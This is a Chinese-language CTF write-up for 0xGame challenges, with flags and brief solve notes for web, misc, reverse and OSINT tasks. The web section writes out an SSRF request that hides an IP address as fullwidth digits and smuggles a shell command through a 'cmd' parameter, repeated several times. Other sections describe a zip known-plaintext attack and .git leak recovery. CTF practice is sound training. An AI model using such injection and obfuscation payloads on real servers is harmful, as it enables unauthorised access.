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Web 

 

1. 你好，爪洼脚本 

aaencode 网站转换一下 

 

 

Flag：0xGame{Hello，JavaScript} 

 



2. DNS 想要玩 

连接并列出目录，呃呃，好像没有 

 

试试找找含 flag 名字的呢 

命令：http://8000-203f2a72-b753-47a2-ba93-

e832d7c06c08.challenge.ctfplus.cn/ssrf?url=http://%EF%BC%91%EF%BC%91%EF%BC%94%EF%

BC%8E%EF%BC%95%EF%BC%8E%EF%BC%91%EF%BC%8E%EF%BC%94&cmd=find%20/%20-

name%20%22*flag*%22%202%3E/dev/nul 

最后一行像是文件 l 

 

Cat 一下（？ 

 

然后就出来了（总感觉是不是跳过了什么步骤……? 

 

0xGame{DNS_Rebinding_is_Really_Magical} 

http://8000-203f2a72-b753-47a2-ba93-e832d7c06c08.challenge.ctfplus.cn/ssrf?url=http://%EF%BC%91%EF%BC%91%EF%BC%94%EF%BC%8E%EF%BC%95%EF%BC%8E%EF%BC%91%EF%BC%8E%EF%BC%94&cmd=find%20/%20-name%20%22*flag*%22%202%3E/dev/nul
http://8000-203f2a72-b753-47a2-ba93-e832d7c06c08.challenge.ctfplus.cn/ssrf?url=http://%EF%BC%91%EF%BC%91%EF%BC%94%EF%BC%8E%EF%BC%95%EF%BC%8E%EF%BC%91%EF%BC%8E%EF%BC%94&cmd=find%20/%20-name%20%22*flag*%22%202%3E/dev/nul
http://8000-203f2a72-b753-47a2-ba93-e832d7c06c08.challenge.ctfplus.cn/ssrf?url=http://%EF%BC%91%EF%BC%91%EF%BC%94%EF%BC%8E%EF%BC%95%EF%BC%8E%EF%BC%91%EF%BC%8E%EF%BC%94&cmd=find%20/%20-name%20%22*flag*%22%202%3E/dev/nul
http://8000-203f2a72-b753-47a2-ba93-e832d7c06c08.challenge.ctfplus.cn/ssrf?url=http://%EF%BC%91%EF%BC%91%EF%BC%94%EF%BC%8E%EF%BC%95%EF%BC%8E%EF%BC%91%EF%BC%8E%EF%BC%94&cmd=find%20/%20-name%20%22*flag*%22%202%3E/dev/nul


 

Misc 

 

1. ezShiro 

追踪 http 流发现用户端输入了 ls，回复中含有 flag 文件 

 

用户端再输入，解码发现是这个指令，编码+rot13 再反转 

 

 



搜索 attacker，找到 DNS 

 

 

提取并解码一下，再翻转 

 

 

Flag：0xGame{Just_Sh1r0} 

 

2. ezEXIF 

Exiftool 修改一下 

 

Camera Model Name 的指令得用 Model 这个名称 

 



这个得用括号括起来，不然输入不能有空格，机子会以为你的数据结束了 

 

在 010 里修改长宽高（一开始还改反了说是 

 

由于实在没找到 exiftool 修改非常规时间的指令，就改了个常规时间，转战 010 

 

酱紫喵 

 

 

Flag：0xGame{sometimes_0ur_eYes_may_che@t_us!!!} 

 

3.删库跑路 

下个 Git，查看一下分支 

 

裸仓库没有工作目录 orz 

 

强行访问一下历史，发现有历史提交 



 

Cancan 里面有没有东西，发现有文件 

 

打开发现加密规则和加密 flag 

 

 

搞个解密脚本 



 

 

（不过也可以用 base64 解码，丢 CyberChef 解 Xor ，再凯撒移回去） 

运行结果 

 

 

Flag：0xGame{.git_leak_is_Veryvery_SEr1ous!!!} 

 

4.开锁师傅 

010 发现是真加密 



 

不过 7z 发现可以明文攻击 

 

Bkcrack 也可以查 

 

建一个有 png 头的 txt 

 

然后生成文件 

 

明文攻击一下（因为虚拟机好像没法装 bkcrack 所以只能搜 cmd 指令了唉唉 orz 

 



改密码 

 

出来了 

 

 

Flag：0xGame{Y0u_cRacked_M3!z1p_1s_uNsafe!} 

 

Reverse 

 

1.16bit 

用 dos 打开 

 



Flag：0xGame{g00d_u_4r3_th3_m45t3r_0f_45m_E2f7a1b34} 

 

 

Osint 

 

1.美好的旅行 

西藏航空 B8843 航班记录 

 

 

一个一个试唉唉 

ZUH 珠海金湾机场 

（坐等官方 wp 唉唉 orz 

Flag：0xGame{296d0dd1964288715beb8e2d06dca1a5} 


